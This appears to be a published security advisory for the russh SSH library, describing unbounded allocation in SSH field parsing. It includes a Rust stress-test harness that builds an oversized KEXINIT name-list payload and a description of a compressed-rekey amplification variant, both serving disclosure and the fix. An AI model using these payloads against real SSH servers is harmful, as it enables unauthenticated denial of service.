Skip to content

GHSA-4r3c-5hpg-58qr CVE-2026-48110

Russh SSH message fields were decoded through allocation-first parsers before field-specific bounds

High crates.io
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.37%
Chance of exploitation in the next 30 days. Higher than 30.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
Fix
0.61.0
Upgrade russh to this version or later

Description

SSH message fields were decoded through allocation-first parsers before field-specific bounds

Summary

Several russh client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier.

Affected Versions

Oldest verified exploitable stable release: russh 0.34.0.

  • Historical stronger case: russh >= 0.34.0, < 0.58.0. These releases have the allocation-first KEXINIT field parsing issue and still use CryptoVec for inbound packet/decompression buffers. A peer can combine negotiated RFC zlib, rekey, compressed KEXINIT expansion, historical CryptoVec decompression growth, and KEXINIT name-list fanout.
  • Current maintained-line case: russh >= 0.58.0, including 0.60.2. These releases moved non-secret packet/decompression buffers off CryptoVec, but the allocation-first SSH field parser issue remains reachable as a Vec/String/name-list resource exhaustion issue.

Prerelease coverage was not claimed for the zlib/CryptoVec/KEXINIT combo because the combined historical exploit shape was verified against stable v0.34.0-era code and reproduced the stress behavior on v0.57.1.

Details

The affected parser pattern appeared across the SSH transport and encrypted-message parser code:

  • KEX negotiation parsing
  • client encrypted-message parsing
  • server encrypted-message parsing
  • shared SSH parsing helpers

Examples of allocation-first field parsing covered by the fix include:

  • KEXINIT name-lists
  • client USERAUTH_FAILURE method lists
  • client USERAUTH_BANNER text fields
  • client USERAUTH_PK_OK fields
  • client EXT_INFO extension fields
  • server SERVICE_REQUEST names
  • server USERAUTH_REQUEST header fields
  • server password/publickey/keyboard-interactive auth fields, excluding the already-submitted prompt-count issue
  • server and client channel/global request names
  • server pty, x11, env, exec, subsystem, signal, and forwarding request fields
  • channel-open-failure description and language fields

Before the fix, these handlers generally used ssh_encoding::Decode into String, Bytes, Vec, or NameList first, then validated semantics later. For length-prefixed SSH fields, that means the owned decoder can accept an attacker-controlled length prefix and allocate or attempt allocation before discovering that the packet is truncated or above a local field bound. The fix introduces borrowed bounded parsing helpers such as take_str, take_bytes, and take_name_list.

RFC / OpenSSH Comparison

RFC 4251 section 5 defines SSH string and name-list encodings. RFC 4253 and RFC 4254 then use those encodings throughout KEX, auth, channel, and forwarding messages. The RFC encoding permits large length prefixes, so implementations need local bounds appropriate to their packet and parser model.

RFC 4251 also says each name inside a name-list is non-empty, cannot contain a comma, and is made of US-ASCII names. RFC 4253 section 7.1 requires the algorithm name-lists in SSH_MSG_KEXINIT to contain at least one algorithm name, while language name-lists may be empty.

OpenSSH portable commonly parses SSH fields with packet-buffer helpers and then immediately checks message completion:

  • openssh-portable: kex.c: kex_input_kexinit() / kex_buf2prop()
  • openssh-portable: auth2.c: USERAUTH_REQUEST header parsing
  • openssh-portable: sshconnect2.c: client auth reply parsing
  • openssh-portable: serverloop.c: global and channel-open parsing
  • openssh-portable: session.c: channel request parsing
  • openssh-portable: packet.c: sshpkt_get_cstring(), sshpkt_get_string(), sshpkt_get_end()

openssh-portable was checked at 45b30e0a5. OpenSSH generally gets its size safety from the already-bounded packet buffer and sshbuf helpers; it does not always avoid allocating a copied field. The russh patch is stricter in Rust-specific shape by using borrowed bounded helpers where practical, but the protocol alignment is the same: reject oversized or malformed name-lists/strings within a bounded packet parser.

PoC

Inline availability stress PoC: an unauthenticated client sends concurrent SSH_MSG_KEXINIT payloads with a large but packet-sized first name-list containing many small algorithm names. This reaches the server-side initial key-exchange parser before user authentication and drives allocation-heavy owned decoding and name-list splitting. In a local direct-parser stress harness, 512 concurrent connection-equivalent parser workers parsing this payload eight times each raised process memory from about 4 MiB RSS to about 4.45 GiB RSS:

threads=512
iterations_per_thread=8
total_iterations=4096
payload_bytes=262103
errors=0
elapsed_ms=5880
VmRSS: 4056 KiB -> 4661032 KiB
VmHWM: 4056 KiB -> 4674200 KiB

That concurrency level is material: the multi-GiB result required 512 simultaneous connection-equivalent parser contexts and about 1.02 GiB of total input across the run. The harness exercises the vulnerable pre-auth KEXINIT parser directly rather than opening real sockets, but the parsed bytes are ordinary SSH KEXINIT payload bytes reachable from a remote unauthenticated SSH peer.

Historical pre-0.58.0 amplification note: before 0.58.0, inbound packet and decompression buffers still used CryptoVec. To get the stronger historical growth, the peer must negotiate RFC zlib compression, complete the first key exchange, and then send a compressed rekey SSH_MSG_KEXINIT carrying the same high-fanout name-list shape. In a v0.57.1 harness, a 652-byte compressed rekey KEXINIT inflated to a 600,103-byte KEXINIT payload, grew the historical CryptoVec decompression output, and then entered the same allocation-heavy KEXINIT name-list parser:

threads=512
iterations_per_thread=2
total_iterations=1024
decompressed_payload_bytes=600103
compressed_payload_bytes=652
errors=0
elapsed_ms=5606
VmRSS: 5268 KiB -> 1464624 KiB
VmHWM: 5268 KiB -> 7014560 KiB

The constrained-memory result is useful because it shows where this becomes a service-killing failure rather than only elevated RSS. With the same historical code path, a roughly 1 KiB compressed rekey KEXINIT can force CryptoVec decompression growth into the parser fanout. Under an address-space limit, the process aborted on allocator failure while trying to satisfy one of the intermediate growth allocations:

memory allocation of 262144 bytes failed

That historical result combines the field-parser issue in this report with the pre-0.58.0 CryptoVec allocation/growth behavior. The important maintainer takeaway is the amplification shape: very small compressed rekey packets can create much larger historical CryptoVec buffers and then immediately feed the unbounded KEXINIT name-list parser. It is included here to explain historical severity and exploit shape; the separate CryptoVec advisory covers the underlying CryptoVec allocation/growth bug itself.

#[test]
fn stress_kexinit_many_names_many_connections() {
    use std::borrow::Cow;
    use std::sync::Arc;

    use byteorder::{BigEndian, ByteOrder};
    use ssh_key::Algorithm;

    use crate::negotiation::{Preferred, Select, Server};
    use crate::{cipher, compression, kex, mac, msg};

    fn no_crypto_preferred() -> Preferred {
        Preferred {
            kex: Cow::Owned(vec![kex::NONE]),
            key: Cow::Owned(vec![Algorithm::Ed25519]),
            cipher: Cow::Owned(vec![cipher::NONE]),
            mac: Cow::Owned(vec![mac::NONE]),
            compression: Cow::Owned(vec![compression::NONE]),
        }
    }

    fn encode_string(buf: &mut Vec<u8>, value: &[u8]) {
        let mut len = [0; 4];
        BigEndian::write_u32(&mut len, value.len() as u32);
        buf.extend_from_slice(&len);
        buf.extend_from_slice(value);
    }

    fn kexinit_with_kex_list(kex_list: &str) -> Vec<u8> {
        let mut payload = Vec::new();
        payload.push(msg::KEXINIT);
        payload.extend_from_slice(&[0; 16]);
        encode_string(&mut payload, kex_list.as_bytes());
        encode_string(&mut payload, b"ssh-ed25519");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"none");
        encode_string(&mut payload, b"");
        encode_string(&mut payload, b"");
        payload.push(0);
        payload.extend_from_slice(&[0; 4]);
        payload
    }

    fn memory_status() -> (Option<usize>, Option<usize>) {
        let Ok(status) = std::fs::read_to_string("/proc/self/status") else {
            return (None, None);
        };
        let mut rss = None;
        let mut hwm = None;
        for line in status.lines() {
            if let Some(value) = line.strip_prefix("VmRSS:") {
                rss = value
                    .split_whitespace()
                    .next()
                    .and_then(|value| value.parse().ok());
            } else if let Some(value) = line.strip_prefix("VmHWM:") {
                hwm = value
                    .split_whitespace()
                    .next()
                    .and_then(|value| value.parse().ok());
            }
        }
        (rss, hwm)
    }

    const THREADS: usize = 512;
    const ITERATIONS_PER_THREAD: usize = 8;

    let payload = Arc::new(kexinit_with_kex_list(
        &("none,".to_owned() + &"a,".repeat(131_000) + "a"),
    ));
    let preferred = Arc::new(no_crypto_preferred());
    let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1));
    let before = memory_status();
    let start = std::time::Instant::now();
    let mut threads = Vec::new();

    for _ in 0..THREADS {
        let payload = payload.clone();
        let preferred = preferred.clone();
        let barrier = barrier.clone();
        threads.push(std::thread::spawn(move || {
            barrier.wait();
            let mut errors = 0usize;
            for _ in 0..ITERATIONS_PER_THREAD {
                if Server::read_kex(&payload, &preferred, None, &kex::KexCause::Initial).is_err() {
                    errors += 1;
                }
            }
            errors
        }));
    }

    barrier.wait();
    let errors: usize = threads
        .into_iter()
        .map(|thread| thread.join().expect("thread"))
        .sum();
    let after = memory_status();

    eprintln!(
        "threads={THREADS} per_thread={ITERATIONS_PER_THREAD} total_iterations={} payload_bytes={} errors={errors} elapsed_ms={} memory_before={before:?} memory_after={after:?}",
        THREADS * ITERATIONS_PER_THREAD,
        payload.len(),
        start.elapsed().as_millis()
    );
}

On vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by take_name_list() against the local name-list bound before allocation-heavy parsing or name-list splitting.

I also checked a smaller regression form where the first KEXINIT name-list length prefix is 1_048_575 but the body is absent. On vulnerable code, that test is red with Err(SshEncoding(Length)) instead of Err(Error::PacketSize(_)): the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, take_name_list() reads the length prefix, rejects it against the local maximum, and returns PacketSize before allocation-heavy parsing or name-list splitting.

The extreme u32::MAX length prefix was checked as a local, uncommitted experiment. In the current dependency set, ssh_encoding rejects that value as Overflow because its usize length decoder has an internal 1_048_575 byte cap. The smaller regression form therefore uses 1_048_575, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite.

This demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH name-list during initial key exchange. That supports AV:N/AC:L/PR:N/UI:N.

The SERVICE_REQUEST variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only SSH_MSG_SERVICE_REQUEST plus a 1_048_575 length prefix, and the vulnerable code returns Err(SshEncoding(Length)) rather than PacketSize. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB.

Impact

Suggested CVSS v3.1:

  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Score: 7.5

Reasoning:

  • AV:N: reachable from a remote SSH peer
  • AC:L: requires only attacker-controlled SSH fields with large or malformed length-prefixed values
  • PR:N: some affected server-side paths are pre-authentication
  • UI:N: no user interaction is required
  • C:N, I:N: no confidentiality or integrity impact demonstrated
  • A:H: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency

Historical note for releases before 0.58.0: the same high-fanout KEXINIT shape can be combined with negotiated RFC zlib and rekey to reduce wire cost dramatically and drive the old CryptoVec decompression output before the field parser runs. That supports keeping availability at A:H for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated.

Fix / Patch Direction

Use bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers.

The fix uses:

  • take_bytes
  • take_str
  • take_name_list

Affected versions

crates.io

PackageVulnerableFixed in
russh
>= 0.34.0, < 0.61.0
0.61.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

russh crates.io → 0.61.0

cargo
cargo update -p russh --precise 0.61.0

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vp5q-ff62-jwqv
russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation
High Also affects russh
GHSA-fw5c-8223-6h42
russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang)
Medium Also affects russh
GHSA-9wfm-jcj8-jfv9
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
Low Also affects russh
GHSA-4p9f-7p9m-5vfg
russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets
Medium Also affects russh
GHSA-4wc5-f2rc-q74m
russh: Unbounded memory allocation in agent protocol server via crafted constraint records
Medium Also affects russh
GHSA-j7h2-66j4-ghjf
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Low Also affects russh
GHSA-g6xm-f9xp-qq35
Russh: Configured server auth-attempt cap is not enforced in the USERAUTH_REQUEST runtime path
Low Also affects russh
GHSA-w3jg-pjxf-73p4
Russh: Missing X25519 zero-point validation in hybrid ML-KEM key exchange
Medium Also affects russh
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor